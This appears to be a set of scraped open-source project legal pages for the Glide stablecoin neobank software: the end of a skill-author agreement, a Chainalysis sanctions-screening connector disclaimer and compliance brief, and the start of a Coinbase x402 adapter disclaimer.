13.7 **Statute of limitations.** Any claim arising under this Agreement must be brought within one (1) year of the date the claim accrued, except where applicable law prohibits a shorter limitations period.
***
## 14. General
14.1 **Assignment.** Neither Party may assign this Agreement without the other's prior written consent, except that either Party may assign to a successor in connection with a merger, acquisition, or sale of substantially all assets, on written notice. Assignment without consent is void.
14.2 **Notices.** Notices under this Agreement are effective when sent to the legal-notice addresses on the signature page (or, for security-related notices, to `security@glide.co` and Skill Author's published security contact). Email is sufficient for routine notices; certified mail or recognized courier is required for termination and indemnification claims.
14.3 **Entire agreement.** This Agreement, together with the MIT license carried in `LICENSE`, the manifest schema in `packages/skills/_base/src/manifest.ts`, and any executed addenda, is the entire agreement between the Parties regarding the Verified Tier and supersedes all prior or contemporaneous understandings on that subject.
14.4 **Amendments.** Amendments must be in a writing signed by both Parties. Glide may publish updated brand-use guidelines or prompt-injection-review checklists from time to time; those documents are incorporated by reference but cannot expand the warranties in §4 without a written amendment.
14.5 **Severability.** If any provision is held unenforceable, the rest remains in effect, and the Parties will substitute an enforceable provision reflecting the original intent as closely as possible.
14.6 **No waiver.** A Party's failure to enforce any right is not a waiver of that or any other right.
14.7 **Force majeure.** Neither Party is liable for delay or failure due to causes beyond its reasonable control (acts of God, war, civil unrest, government action, infrastructure outage at a third party), provided the affected Party promptly notifies the other and uses commercially reasonable efforts to resume.
14.8 **Independent contractors.** The Parties are independent contractors. Nothing creates a partnership, joint venture, agency, or employment relationship.
14.9 **Counterparts.** No counterparts are required because this Agreement is not signed; see §0. Where Skill Author has elected the optional countersigned counterpart under §0.5, that counterpart may be executed in counterparts, including via electronic signature, each of which is an original.
***
## Acceptance Record
This Agreement is **not signed**. It becomes effective as described in §0 (Acceptance). The operative record of Skill Author's acceptance is one or more of:
* the GitHub PR or email request promoting the Skill to Verified Trust Tier;
* the audit-log entry recording promotion in the Glide manifest tree;
* the date Skill Author first uses the "Glide Verified Skill" mark in public-facing materials;
* (optional) a wet-signed counterpart provided under §0.5.
Glide retains the operative record. Skill Author may request a copy at `legal@glide.co`.
For reference, the canonical contacts at Glide:
* Legal-notice email: `legal@glide.co`
* Security contact: `security@glide.co`
***
*Document status: TEMPLATE. Use-based consent — Form v1.1, last revised 2026-04-27.*
# Chainalysis vendor posture
Source: https://glide-9da73dea.mintlify.app/oss/legal/vendor-chainalysis
Operator-facing disclaimer + compliance brief for the Chainalysis sanctions-screening adapter.
**Canonical source:** [`packages/connectors/chainalysis/`](https://github.com/darshanbathija/axtior-neobank/blob/main/packages/connectors/chainalysis/)
This page mirrors the canonical file. For execution, copy from the source repo to ensure latest revisions.
# DISCLAIMER — Chainalysis Connector
**Status:** Operator-facing legal notice. Ready for counsel review; not yet
counsel-reviewed. Read this in full before enabling `ChainalysisLiveAdapter` in
any environment that touches real funds, real users, or production
infrastructure.
**How to read this document.** Sections 1–14 are the operative legal terms and
control any conflict. Section 15 is a plain-language summary for engineers.
This DISCLAIMER applies between the Operator and Glide. Operator obligations
toward Chainalysis itself live in the Operator's own contract with
Chainalysis (the "Vendor Agreement," defined below) and are not modified by
this document.
***
## 1. Definitions
In this DISCLAIMER:
* **"Glide"** means the open-source orchestration shell for stablecoin
neobanking distributed under the MIT License at
`https://github.com//axtior-neobank` and any contributors thereto.
Glide refers to the software project and its maintainers, not to any
Glide-affiliated commercial entity that may exist separately. Glide is not a
bank, money services business, money transmitter, broker-dealer, or other
regulated financial institution.
* **"Connector"** or **"Adapter"** means the source code in this package
(`packages/connectors/chainalysis/`), including
`ChainalysisLiveAdapter`, `ChainalysisSandboxAdapter`, and supporting
utilities, distributed under the MIT License.
* **"Operator"** means the natural or legal person who deploys, hosts, runs, or
otherwise operates a Glide-derived application that incorporates this
Connector — including, without limitation, self-hosters, white-label
licensees, fintech operators, and any downstream redistributors. The terms
**"Self-Hoster"**, **"you"**, and **"your"** refer to the Operator.
* **"Vendor"** means Chainalysis Inc. and its affiliates, the third-party
commercial provider of the sanctions-screening API at
`https://public.chainalysis.com/api/v1/`.
* **"Vendor Agreement"** means the binding commercial agreement between the
Operator and the Vendor, including the Vendor's then-current terms of
service, acceptable-use policy, data processing addendum (if any), and any
master services agreement, order form, or schedule referenced therein.
* **"Vendor API"** means the Vendor's hosted sanctions-screening service
accessed via HTTPS endpoints, including all request/response payloads,
documentation, and metadata returned by that service.
These definitions control on first use and throughout this document.
## 2. Vendor relationship and license posture
The Connector is a thin client that issues authenticated HTTPS requests to the
Vendor API. **Glide does not host, mirror, proxy, repackage, sublicense, or
redistribute the Vendor API or any Vendor data.** The Connector is distributed
in source form so Operators can audit and customize the integration; the
Connector itself does not contain or embed any Vendor service, dataset, model,
or credential.
**Glide is not a party to the Vendor Agreement.** Glide cannot grant access to
the Vendor API on the Operator's behalf, cannot extend or vary the Vendor
Agreement, and cannot waive Vendor terms. Any rights the Operator obtains to
query the Vendor API arise solely under the Operator's own Vendor Agreement.
## 3. License grant — adapter code
This Connector is licensed to the Operator under the **MIT License**, the full
text of which governs and is incorporated by reference. Subject to the MIT
License, the Operator may use, copy, modify, merge, publish, distribute,
sublicense, and/or sell copies of the Connector source code, provided the
copyright notice and permission notice are preserved.
**No rights to the Vendor API are granted by Glide.** The MIT grant covers only
the Connector source code authored by Glide contributors. Rights to call,
query, integrate with, or display data from the Vendor API arise exclusively
under the Vendor Agreement and are governed by it.
**All rights not expressly granted are reserved** by the respective rights
holders (Glide and its contributors with respect to the Connector; the Vendor
with respect to the Vendor API and Vendor data). Nothing in this DISCLAIMER
grants any license to any Vendor trademark, service mark, logo, or trade name.
## 4. Operator must hold a valid Vendor Agreement
By enabling `ChainalysisLiveAdapter` (i.e., setting `SCREENING_PROVIDER` to
`chainalysis` or leaving it unset and providing a `CHAINALYSIS_API_KEY`), the
Operator represents and warrants that:
1. The Operator has executed a Vendor Agreement with the Vendor that is in
full force and effect and has not been suspended, terminated, or breached.
2. The `CHAINALYSIS_API_KEY` configured in the deployment was issued to the
Operator under that Vendor Agreement and is permitted to be used in the
Operator's deployment context (including geography, environment, and
request volume).
3. The Operator's intended use of the Vendor API in connection with the Glide
deployment is permitted by the Vendor Agreement, including any restrictions
on automated querying, redistribution of responses, downstream display, or
integration with third-party software.
4. The Operator will comply with the Vendor Agreement at all times, and will
discontinue use of the Connector against the production Vendor API
immediately upon any termination, suspension, or material breach of that
agreement.
**Operating the live adapter without a valid Vendor Agreement may constitute
a violation of Vendor terms of service, an unauthorized use of the Vendor API,
and depending on jurisdiction may give rise to civil or criminal liability.**
Glide accepts no responsibility for, and the Operator solely bears, any
consequence of operating without a valid Vendor Agreement.
## 5. Sanctioned alternatives
If the Operator does not hold a valid Vendor Agreement, the Operator must not
enable `ChainalysisLiveAdapter`. The Connector ships with two alternative
screening providers and supports custom replacements:
| `SCREENING_PROVIDER` | Posture |
| --------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `chainalysis-mock` | Deterministic in-memory fixtures (`ChainalysisSandboxAdapter`). Development only. Does not contact the Vendor API. Does not constitute sanctions screening. |
| `permissive` | No-op pass-through with a red startup banner. **NOT FIT FOR PRODUCTION.** Does not constitute sanctions screening. Suitable only for non-production environments where no real funds move. |
| Custom (e.g., TRM Labs, Elliptic) | Operator-implemented `screening` capability registered in `apps/web/src/server/adapters/index.ts`. Operator is solely responsible for selecting, contracting with, and validating any vendor. |
The mock and permissive modes are engineering conveniences, not compliance
controls. Operators that handle real funds, onboard real users, or fall within
any regulated activity must run a screening provider that is appropriate for
their jurisdiction, risk profile, and applicable law.
## 6. Compliance pass-through and operator responsibility
**Sanctions screening, AML monitoring, and any other financial-services
regulatory obligation is the Operator's, not Glide's.** Glide is not a bank,
money services business, money transmitter, broker-dealer, or other
regulated financial institution, and does not act as the Operator's
compliance vendor.
Glide makes no representation that the Connector, in any configuration, is
sufficient on its own to discharge the Operator's obligations under any
law, regulation, or supervisory guidance. The non-exhaustive list of
regimes that may apply to an Operator includes:
* **Sanctions.** U.S. OFAC programs (Specially Designated Nationals list,
sectoral sanctions identifications, country-based programs); European
Union restrictive measures (Council of the EU and EEAS); United Kingdom
OFSI; United Nations Security Council sanctions; and any equivalent
national regime.
* **AML / counter-terrorist financing.** The U.S. Bank Secrecy Act and its
implementing regulations (including registration as a money services
business with **FinCEN** where applicable); the EU Anti-Money Laundering
Directive framework and the EU AML Authority; the UK Money Laundering
Regulations administered by the FCA; FATF-aligned regimes elsewhere.
* **Activity-specific authorization.** State-level money-transmission and
virtual-currency regulation in the U.S. (including the **NYDFS** virtual
currency framework); EMI / payment-institution authorization or MiCA
crypto-asset service-provider authorization in the EU; FCA
cryptoasset-firm registration in the UK; equivalent regimes elsewhere.
The Operator is solely responsible for determining which of the foregoing
apply to its business, for designing and operating a compliance program
that satisfies them, and for the consequences of any failure to do so.
Nothing in this Connector, the Vendor API, or any Vendor response is a
legal opinion or regulatory determination.
## 7. Warranty disclaimer
THE CONNECTOR IS PROVIDED **"AS IS"** AND **"AS AVAILABLE"**, WITHOUT WARRANTY
OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION THE IMPLIED
WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, TITLE,
NON-INFRINGEMENT, ACCURACY, AND ANY WARRANTY ARISING FROM A COURSE OF DEALING
OR TRADE USAGE. THIS DISCLAIMER IS IN ADDITION TO, AND DOES NOT REPLACE, THE
DISCLAIMERS IN THE MIT LICENSE THAT GOVERNS THE CONNECTOR.
Without limiting the generality of the foregoing, Glide makes no warranty:
* that the Vendor API will be available, accurate, complete, current, or free
from error;
* that any sanctions list maintained, returned, or referenced by the Vendor is
authoritative or current as against any government list;
* that the Connector will produce results that satisfy any regulatory
obligation of the Operator;
* that the Connector is free of bugs, defects, security vulnerabilities, or
malicious code; or
* regarding the legal effect, regulatory standing, or sufficiency of any
Vendor response.
## 8. Limitation of liability
To the maximum extent permitted by applicable law, **in no event shall Glide,
its contributors, or any of their respective directors, officers, employees,
agents, or affiliates be liable** to the Operator or to any third party for:
* any indirect, incidental, special, exemplary, consequential, or punitive
damages;
* any loss of profits, revenue, goodwill, customers, data, or business
opportunity;
* any regulatory fine, civil money penalty, settlement, disgorgement, or
enforcement cost;
* any liability arising from the Operator's failure to perform sanctions
screening, AML monitoring, or any other regulatory obligation;
* any liability arising from the Operator's relationship with the Vendor,
including suspension or termination of the Vendor Agreement; or
* any cost of substitute services, products, or technology;
whether arising under contract, tort (including negligence), strict liability,
or any other theory, and whether or not Glide has been advised of the
possibility of such damages. Glide's aggregate liability arising out of or
relating to the Connector shall not exceed **US\$100** or, if the Operator has
made a direct monetary payment to Glide for the Connector during the twelve
(12) months preceding the claim, the amount so paid, whichever is greater.
This limitation applies notwithstanding the failure of essential purpose of
any limited remedy.
## 9. Indemnification by operator
The Operator shall defend, indemnify, and hold harmless Glide, its
contributors, and their respective directors, officers, employees, agents,
and affiliates (collectively, the **"Glide Indemnitees"**) from and against
any and all claims, demands, actions, proceedings, losses, damages,
liabilities, fines, penalties, costs, and expenses (including reasonable
attorneys' fees) arising out of or relating to:
1. the Operator's use, deployment, modification, or distribution of the
Connector;
2. the Operator's relationship with, or breach of any agreement with, the
Vendor (including the Vendor Agreement);
3. the Operator's failure to perform sanctions, AML, KYC, or any other
compliance obligation;
4. any data the Operator submits to the Vendor API or processes via the
Connector, including any personal data, financial data, or
confidential information;
5. the Operator's breach of any representation or warranty in Section 4
(Operator must hold a valid Vendor Agreement); or
6. the Operator's violation of any applicable law or third-party right.
The Glide Indemnitees may participate in the defense of any indemnified claim
with counsel of their choosing at the Operator's expense; the Operator shall
not settle any claim that imposes liability on, or admits fault by, any Glide
Indemnitee without that indemnitee's prior written consent.
## 10. Termination and survival
The Operator's right to use the Connector under the MIT License continues for
so long as the Operator complies with the MIT License terms. **The Operator's
right to use `ChainalysisLiveAdapter` against the production Vendor API is
contingent on a valid Vendor Agreement and terminates automatically upon any
termination, suspension, or material breach of that agreement.** Upon any such
termination or suspension, the Operator must immediately:
1. set `SCREENING_PROVIDER` to a value other than `chainalysis` (or remove the
`CHAINALYSIS_API_KEY` and route screening through a different
capability-compatible adapter);
2. revoke and rotate any cached or persisted Vendor API credentials;
3. cease any storage, display, or onward transmission of Vendor API responses
except to the extent permitted by the Vendor Agreement's surviving terms;
and
4. comply with any data return or destruction obligation under the Vendor
Agreement.
**Sections 3 (License grant), 7 (Warranty disclaimer), 8 (Limitation of
liability), 9 (Indemnification), 11 (Confidentiality), 12 (Anti-abuse and
integrity), 13 (Governing law and dispute resolution), and 14 (General)
survive any termination or expiration of the Operator's right to use the
Connector.**
## 11. Confidentiality, intellectual property, and data handling
Three categories of information must be tracked separately:
1. **Connector source code.** Authored by Glide contributors and licensed to
the Operator under the MIT License (Section 3). It is not confidential
to Glide. Operator may inspect, modify, fork, and redistribute it under
MIT terms.
2. **Vendor API responses, scoring, and underlying data.** Owned, licensed,
or controlled by the Vendor and governed by the Vendor Agreement. The
Vendor Agreement may classify wallet attributions, risk scores,
sanction-list evidence, models, or aggregated analytics as the Vendor's
confidential or proprietary information and may restrict downstream
storage, display, or transfer. **Handling Vendor content in compliance
with the Vendor Agreement is the Operator's responsibility, not
Glide's.** Glide does not receive, store, or have access to Vendor API
responses; the Connector executes entirely within the Operator's
deployment.
3. **Operator and end-user personal data.** Includes any personal data the
Operator collects from end users in connection with the Operator's
application. To the extent that data is subject to the **EU/UK General
Data Protection Regulation (GDPR)**, the **California Consumer Privacy
Act / California Privacy Rights Act (CCPA/CPRA)**, the **Lei Geral de
Proteção de Dados (LGPD)**, or any other privacy law, the Operator is
the data controller (or equivalent "business" under CCPA/CPRA) for that
processing. **Glide is not a processor, sub-processor, or joint
controller of Operator personal data via this Connector**; Glide does
not receive, transmit, or have access to Operator personal data through
the Connector. The Vendor's role with respect to the Operator's
screening calls is between the Operator and the Vendor (see
`COMPLIANCE.md` Section 3).
By default, the Connector transmits the destination wallet address (a public
on-chain identifier) and authentication metadata to the Vendor API and
nothing else; the Connector does not transmit user names, government IDs,
email addresses, phone numbers, or other direct identifiers as part of the
screening call. Operators that extend the Connector to send additional
fields are solely responsible for the lawful basis, contractual posture, and
onward-transfer mechanics of those fields.
No Glide trademark, service mark, logo, trade name, or domain name is
licensed to the Operator under this DISCLAIMER. No Vendor trademark or mark
is licensed to the Operator by Glide; any Operator use of Vendor marks is
governed by the Vendor Agreement.
## 12. Anti-abuse and integrity — Operator must not
The Operator agrees, on behalf of itself and any party operating under or
through its deployment, that the Operator must not:
1. **Proxy or resell access** to the Vendor API to any third party that does
not itself hold a valid Vendor Agreement, including by exposing a public,
semi-public, or shared endpoint that effectively grants such third parties
the benefit of the Operator's `CHAINALYSIS_API_KEY`.
2. **Redistribute, share, embed, or commit credentials**, including the
`CHAINALYSIS_API_KEY`, into source code, container images, public artifact
registries, screenshots, logs, telemetry, or any other location accessible
beyond the Operator's authorized personnel and infrastructure.
3. **Circumvent rate limits, quotas, or fair-use controls** imposed by the
Vendor, including by rotating keys to evade per-account limits, batching
to defeat per-request controls, or operating multiple accounts to multiply
quota.
4. **Misrepresent Vendor responses**, including by editing, fabricating,
suppressing, or selectively displaying screening results in a manner that
would mislead a user, regulator, or counterparty about the screening
outcome or its provenance.
5. **Reverse-engineer, scrape, or otherwise derive the Vendor's underlying
data sets, models, or scoring logic** from Vendor API responses, except to
the extent expressly permitted by the Vendor Agreement and applicable law.
6. **Use the Connector to support sanctioned activity**, including operating
the Connector for the benefit of any person or entity ordinarily resident
in, or majority-owned by persons ordinarily resident in, a jurisdiction
subject to comprehensive sanctions, or for any purpose that would itself
violate sanctions law.
7. **Hold Glide out as a Vendor partner, reseller, or affiliate**, or imply
any endorsement, certification, or co-marketing relationship between Glide
and the Vendor that does not exist.
Breach of this Section 12 is a material breach of this DISCLAIMER and is an
independent ground on which the Operator's permission to operate
`ChainalysisLiveAdapter` may terminate.
## 13. Governing law and dispute resolution
Any dispute, claim, or controversy between the Operator and Glide arising out
of or relating to the Connector or this DISCLAIMER is governed by the **laws
of the State of Delaware**, United States, without regard to its conflict-of-
laws principles, and excluding the United Nations Convention on Contracts for
the International Sale of Goods.
The Operator and Glide agree to first attempt to resolve any such dispute by
good-faith informal negotiation for thirty (30) days following written notice.
If unresolved, the dispute shall be submitted to binding individual
arbitration administered by **JAMS** under its Streamlined Arbitration Rules,
seated in **San Francisco, California**, before a single arbitrator. The
arbitrator's award may be entered in any court of competent jurisdiction.
**No class, collective, or representative arbitration is permitted.** Either
party may seek injunctive or equitable relief in a court of competent
jurisdiction in connection with intellectual property infringement,
unauthorized use of credentials, or breach of Section 12 (Anti-abuse and
integrity), notwithstanding the foregoing.
**Disputes between the Operator and the Vendor are not Glide's
responsibility** and are governed exclusively by the Vendor Agreement and any
dispute-resolution provisions therein. Glide is not a necessary or proper
party to any such dispute.
## 14. General
* **Severability.** If any provision is held unenforceable, the remaining
provisions remain in effect, and the unenforceable provision shall be
reformed to the minimum extent necessary to make it enforceable while
preserving its intent.
* **No waiver.** Failure to enforce any provision is not a waiver of future
enforcement.
* **No assignment by Operator.** The Operator may not assign this DISCLAIMER
without Glide's prior written consent; any attempted assignment in
violation is void. Glide may assign freely.
* **Entire agreement.** This DISCLAIMER, together with the MIT License and the
companion `COMPLIANCE.md` in this package, constitutes the entire
understanding between the Operator and Glide with respect to the Connector
and supersedes any prior or contemporaneous understanding on the subject.
No oral statement, support communication, or marketing material modifies it.
* **Updates.** Glide may update this DISCLAIMER for future versions of the
Connector. The Operator's continued use of an updated version constitutes
acceptance of the updated DISCLAIMER for that version. Prior versions
remain governed by the DISCLAIMER bundled with them.
## 15. Plain-language summary
This is a non-binding restatement for engineers and product owners; Sections
1–14 control if there is any conflict.
* The code in this folder is MIT-licensed and free to use, fork, or modify.
* Chainalysis is a separate paid vendor. Glide doesn't ship Chainalysis
access, isn't a Chainalysis reseller, and isn't a party to your contract
with Chainalysis.
* If you point this connector at the live Chainalysis API, you must already
hold your own Chainalysis contract and your own API key under that
contract. Otherwise, use `chainalysis-mock` (development fixtures),
`permissive` (no-op for non-prod demos), or write your own screening
adapter.
* Sanctions and AML compliance is your job, not Glide's. Glide is not a
bank, MSB, money transmitter, or any other regulated financial party.
* The connector ships AS IS with no warranty. If it breaks, if Chainalysis
goes down, or if you get fined, that's on you, not Glide. Glide's total
liability to you is capped at US\$100.
* You agree to indemnify Glide for losses tied to your deployment, your
Chainalysis relationship, your compliance program, or your data handling.
* Don't proxy Chainalysis access to third parties, don't leak your API key,
don't tamper with screening results, don't use this to support sanctioned
activity, don't claim Glide is a Chainalysis partner.
* Disputes about the connector code go to Delaware law and JAMS individual
arbitration in San Francisco — no class actions. Disputes with
Chainalysis are between you and Chainalysis.
This file is required reading per the OSS Cathedral M2 milestone (Chainalysis
decoupling).
# Compliance — Chainalysis Connector
**Status:** Operator-facing compliance brief. Ready for counsel review; not
yet counsel-reviewed. Companion to `DISCLAIMER.md` in the same package.
Capitalised terms used and not defined here have the meanings given in
`DISCLAIMER.md` Section 1.
***
## 1. What this Connector is, and what Glide is not
This Connector is a thin MIT-licensed HTTPS client that wraps the
**Chainalysis Sanctions API** (`https://public.chainalysis.com/api/v1/address/{address}`)
behind Glide's `screening` capability interface. It returns whether a
destination wallet address appears on the sanctions lists maintained or
referenced by Chainalysis.
* **Glide is open-source software, not a regulated financial institution.**
Glide is not a bank, money services business, money transmitter,
broker-dealer, registered investment adviser, or any other party regulated
under U.S. or non-U.S. financial-services law. Glide does not perform
sanctions screening, AML monitoring, or KYC on behalf of Operators. Glide
has no privity with Operator end-users.
* **Glide is not a Chainalysis partner, reseller, or sublicensee.** The
Connector source contains no Chainalysis credentials, no embedded
Chainalysis data, no Chainalysis-licensed binaries, and no Chainalysis
trademarks beyond a nominative reference. Glide does not receive payment,
rev-share, referral fees, or other consideration from Chainalysis in
connection with this Connector.
* **Operator vs Vendor is a direct relationship.** The Operator's right to
query the Chainalysis API arises solely under the Operator's own Vendor
Agreement with Chainalysis. See `DISCLAIMER.md` Sections 2 and 4.
## 2. Connector posture metadata
| Field | Value |
| ------------------------- | ---------------------------------------------------------------- |
| `amlPosture` | `vendor-screened` |
| Trust tier | `core` (Glide-maintained reference adapter) |
| Capability | `screening` |
| Live class | `ChainalysisLiveAdapter` (requires `CHAINALYSIS_API_KEY`) |
| Sandbox class | `ChainalysisSandboxAdapter` (deterministic fixtures, no network) |
| Egress hosts (default) | `public.chainalysis.com` |
| Sanctions-list maintainer | Chainalysis (the Vendor) |
| Adapter license | MIT |
| Vendor data license | Per Vendor Agreement; not granted by Glide |
`amlPosture: vendor-screened` is a Glide-internal classification meaning
"this Connector outsources sanctions-list matching to a third-party vendor
that the Operator has independently contracted with." It is not a regulatory
attestation and does not represent a finding by any regulator.
## 3. Data flow and personal data
The Connector transmits the following per screening call:
* **To the Vendor:** the destination wallet address (a public on-chain
identifier) and authentication metadata (the Operator's
`CHAINALYSIS_API_KEY` in the request header).
* **From the Vendor:** the Vendor's screening response (typically a JSON
payload containing risk indicators, sanction-list hits, and metadata).
The Connector does not, by default, transmit user names, government-issued
IDs, email addresses, phone numbers, postal addresses, dates of birth, IP
addresses of end users, or other direct identifiers to the Vendor as part of
the screening call. Operators that extend the Connector to send additional
fields are solely responsible for the lawful basis, vendor-side handling,
and onward-transfer posture of those fields.
### Data-protection roles
* For any processing of personal data the Operator performs in its
application, the **Operator is the controller** (or "business" for CCPA
purposes) with respect to its end users.
* The Vendor's role (controller, processor, or independent controller)
with respect to the Operator's screening calls is governed by the Vendor
Agreement and any data-processing addendum the Operator has executed with
the Vendor; that determination is between the Operator and the Vendor and
is not Glide's to make.
* **Glide is not a processor of any Operator personal data via this
Connector.** Glide does not receive, store, or have access to Operator
data, screening calls, screening responses, or end-user information; the
Connector runs entirely in the Operator's deployment.
### Cross-border transfers
The Vendor processes screening requests in Vendor-controlled infrastructure
(historically including U.S. and EU regions; Operators should consult the
Vendor's then-current data-residency documentation). Operators subject to
EU/UK GDPR cross-border transfer rules, the EU-U.S. Data Privacy Framework,
or analogous regimes are responsible for putting appropriate transfer
mechanisms (Standard Contractual Clauses, transfer impact assessments, etc.)
in place with the Vendor.
## 4. Operator obligations
The Operator must, at all times during which `ChainalysisLiveAdapter` is
enabled in any Operator deployment:
1. **Maintain a valid Vendor Agreement** with Chainalysis covering the
Operator's intended use, deployment environments, geography, and request
volume.
2. **Hold and protect the `CHAINALYSIS_API_KEY`** as a confidential
credential — store it in a secrets manager, restrict access to authorized
personnel, rotate periodically, never commit it to source control or
container images, and revoke immediately on suspected compromise.
3. **Operate a sanctions-screening program** that is appropriate to the
Operator's jurisdiction, customer base, and risk profile. This program
must address at minimum:
* sanctions-list coverage (OFAC SDN, OFAC sectoral, EU consolidated, UK
OFSI, UN, and any other lists the Operator's regulator expects);
* screening points across the customer lifecycle (onboarding, ongoing,
pre-transaction, post-transaction);
* escalation, review, and audit trail for hits;
* blocking, rejecting, and reporting obligations;
* record-keeping consistent with applicable retention requirements.
4. **Implement a complementary AML program** where required, including
transaction monitoring, suspicious-activity reporting, and customer
identification consistent with FinCEN's BSA framework (for U.S.
Operators), the EU AMLD framework (for EU Operators), and equivalent
regimes elsewhere.
5. **Determine licensure**. Many activities a stablecoin neobank can perform
require state money-transmitter licenses (U.S.), an EMI/PI authorization
or MiCA crypto-asset service-provider authorization (EU), an FCA
registration (UK), or analogous authorization. Glide does not advise on
licensure; the Operator must independently determine and obtain any
required licenses.
6. **Cooperate with Vendor audits** and any regulatory inspection of the
Operator's screening program, including by preserving evidence of
screening calls, configuration, and remediation actions to the extent
required by law or the Vendor Agreement.
7. **Notify Glide of security incidents in the Connector itself** — for
example, a suspected vulnerability in `ChainalysisLiveAdapter` source
code — through the project's coordinated-disclosure channel
(`SECURITY.md` at the repository root). Glide is not the right channel
for incidents that concern the Operator's deployment, the Vendor's
service, or end-user data; those flow under the Operator's own
procedures and the Vendor Agreement.
8. **Stop using the live adapter when entitlement ends.** On any
termination, suspension, expiration, or material breach of the Vendor
Agreement, the Operator must follow `DISCLAIMER.md` Section 10 to
transition off `ChainalysisLiveAdapter`.
## 5. Choosing a screening provider — decision matrix
Use `ChainalysisLiveAdapter` only if you can answer **yes** to all of the
following:
* [ ] We hold a current Vendor Agreement with Chainalysis covering our
intended deployment.
* [ ] Our `CHAINALYSIS_API_KEY` is stored in a secrets manager, not in
source.
* [ ] We have determined our applicable sanctions and AML regime and a
Chainalysis-driven screen is consistent with that regime's
expectations.
* [ ] We have an internal owner accountable for sanctions hits, escalations,
and reporting.
* [ ] We have read and accepted `DISCLAIMER.md` in full.
If any answer is **no**, configure one of the following alternatives:
| `SCREENING_PROVIDER` | When appropriate |
| -------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `chainalysis-mock` | Development, CI, and integration tests where deterministic fixture data is sufficient. Never use against real end-user funds. |
| `permissive` | Local development and demos where no real funds move and a startup banner clearly marks the deployment non-production. Ships with a red banner and **must not** be used in any production tier. |
| Custom adapter | The Operator implements an alternative `screening` capability — for example, a TRM Labs or Elliptic client — in a separate connector package and registers it in `apps/web/src/server/adapters/index.ts`. The Operator's contractual and compliance posture flows from that vendor's terms. |
## 6. What Glide does and does not warrant
Glide makes **no representation or warranty** about Chainalysis's service.
Specifically, Glide does not warrant:
* the accuracy, completeness, or currency of any sanctions list returned by
the Vendor;
* the availability or latency of the Vendor API;
* the legal sufficiency of a Chainalysis-only screen for any specific
Operator's regulatory regime; or
* that any Vendor screening response satisfies any obligation under OFAC,
EU sanctions, OFSI, FinCEN, NYDFS, or any other authority.
Glide does, with respect to the Connector source code itself, undertake on a
best-efforts basis to:
* keep the Connector source aligned with the Vendor's published API contract
for the supported endpoints;
* accept coordinated security disclosures via `SECURITY.md`;
* maintain the deterministic sandbox class for development use;
* preserve the registry-level swap path so Operators can replace the
screening adapter without forking Glide.
These best-efforts undertakings are not contractual warranties; the
Connector ships AS IS under the MIT License and `DISCLAIMER.md` Section 7.
## 7. Operator-vs-Vendor disputes
Disputes between the Operator and the Vendor — including disputes about
billing, list accuracy, false positives, suspension, termination, and data
processing — are governed exclusively by the Vendor Agreement. Glide is not
a party to those disputes, will not mediate them, and is not a necessary or
proper party to any such proceeding. See `DISCLAIMER.md` Section 13.
## 8. Pointers and incorporated documents
* `DISCLAIMER.md` (this package) — controlling legal terms between the
Operator and Glide for this Connector.
* `README.md` (this package) — operational reference for the adapter.
* `LICENSE` (repository root) — MIT license text.
* `SECURITY.md` (repository root) — coordinated-disclosure channel for
Connector-source security issues.
* `apps/web/src/server/adapters/index.ts` — registry that resolves
`SCREENING_PROVIDER`.
* Vendor documentation — `https://docs.chainalysis.com/` (for reference;
Glide does not control and is not responsible for Vendor documentation).
This document does not modify the MIT License or `DISCLAIMER.md`. In any
conflict between this document and `DISCLAIMER.md`, `DISCLAIMER.md`
controls.
# Coinbase x402 vendor posture
Source: https://glide-9da73dea.mintlify.app/oss/legal/vendor-coinbase-x402
Operator-facing disclaimer + compliance brief for the Coinbase x402 facilitator adapter.
**Canonical source:** [`packages/connectors/coinbase-x402/`](https://github.com/darshanbathija/axtior-neobank/blob/main/packages/connectors/coinbase-x402/)
This page mirrors the canonical file. For execution, copy from the source repo to ensure latest revisions.
# Disclaimer — Coinbase x402 Facilitator Adapter
**Status:** Ready for counsel review. Not yet counsel-reviewed. Operators should obtain their own legal advice before deploying this adapter in production.
## TL;DR (non-legal summary, controls nothing)
> Glide ships an MIT-licensed adapter. You — the Operator — bring your own Coinbase contract or run your own facilitator. You — the Operator — are the regulated party. Glide is not Coinbase, not a bank, not a money transmitter. Verify every settlement on-chain before persisting it (the F1 IRON RULE). If you can't accept these terms, don't use the Connector. The numbered sections below are the binding text.
***
This document governs the use of the `@repo/connectors-coinbase-x402` package (the "**Connector**"), a thin adapter shipped as part of the open-source Glide project. By installing, importing, building against, or running the Connector you ("**Operator**" or "**Self-Hoster**") agree to the terms in this document and in the project [LICENSE](https://github.com/glide-co/glide-mono/blob/main/LICENSE).
## 1. Definitions
For the avoidance of doubt:
* **"Glide"** means the open-source project maintained by Axtior Inc., a Delaware corporation, and the Glide OSS contributors. Glide ships software under the MIT license. Glide is **not** a bank, money transmitter, money services business, virtual asset service provider, broker-dealer, exchange, custodian, or payment processor. Glide does not custody Operator funds, does not move Operator funds, does not hold Operator customer funds, and does not have any visibility into or control over the on-chain settlement of payments routed through the Connector.
* **"Operator"** means any natural or legal person who self-hosts, deploys, integrates, distributes, or otherwise runs Glide or the Connector against any live x402 facilitator (hosted or self-hosted), or makes the Connector reachable to any third party.
* **"Self-Hoster"** means an Operator who additionally runs their own x402 facilitator instance instead of relying on a hosted facilitator vendor. A Self-Hoster is an Operator for all purposes of this document, plus the Self-Hosted Facilitator Path obligations in §6.
* **"Vendor"** means a third party operating a hosted x402 facilitator. The default Vendor referenced in the Connector source is the Coinbase Developer Platform's hosted x402 facilitator at `x402.coinbase.com`, operated by Coinbase, Inc. and/or its affiliates ("**Coinbase**"). Any other facilitator URL configured by the Operator (via `X402_FACILITATOR_URL` or otherwise) is also a Vendor.
* **"Connector"** means the source code, types, and primitives in the `@repo/connectors-coinbase-x402` package, including without limitation `CoinbaseFacilitator`, `handleX402Request`, `buildChallengeBody`, and the manifest/capabilities surfaces.
* **"Facilitator"** means an HTTP service that exposes the x402 `/verify` and `/settle` endpoints as defined in the [x402 specification](https://x402.org). A Facilitator may be operated by a Vendor or by a Self-Hoster.
* **"Payer"** means the party signing the EIP-712 `transferWithAuthorization` (or equivalent Solana signed transaction) and authorizing the on-chain transfer of value.
